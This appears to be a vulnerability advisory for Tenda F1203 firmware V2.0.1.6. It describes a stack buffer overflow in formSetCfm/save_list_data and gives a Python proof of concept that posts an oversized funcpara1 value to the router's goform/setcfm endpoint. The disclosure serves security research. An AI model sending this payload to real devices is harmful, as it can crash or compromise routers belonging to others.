Skip to content

Latest commit

 

History

History
38 lines (24 loc) · 1.46 KB

formSetCfm.md

File metadata and controls

38 lines (24 loc) · 1.46 KB

Overview

Affected version

F1203 V2.0.1.6

Vulnerability details

The Tenda F1203 V2.0.1.6 firmware has a stack overflow vulnerability located in the formSetCfm function. This function accepts the funcpara1 parameter from a POST request and passes it to the save_list_data function. Within save_list_data, the array v10 is fixed at 64 bytes. However, since the user has control over the input of funcpara1, the statement sprintf(v10, "%s.list%d", a1, v6); leads to a buffer overflow. The user-supplied funcpara1 can exceed the capacity of the v10 array, thus triggering this security vulnerability.

image-20240319133131680

image-20240319133412555

image-20240319133403710

POC

import requests as re

s = re.Session()
url_base = 'http://192.168.84.101/'

# Send payload
url = url_base + 'goform/setcfm'
data = {
        'funcname': 'save_list_data', 
        'funcpara1': b'a'*0x500, 
        'funcpara2':'aaaaaa'
}

res = re.post(url, data=data)

image-20240319133536612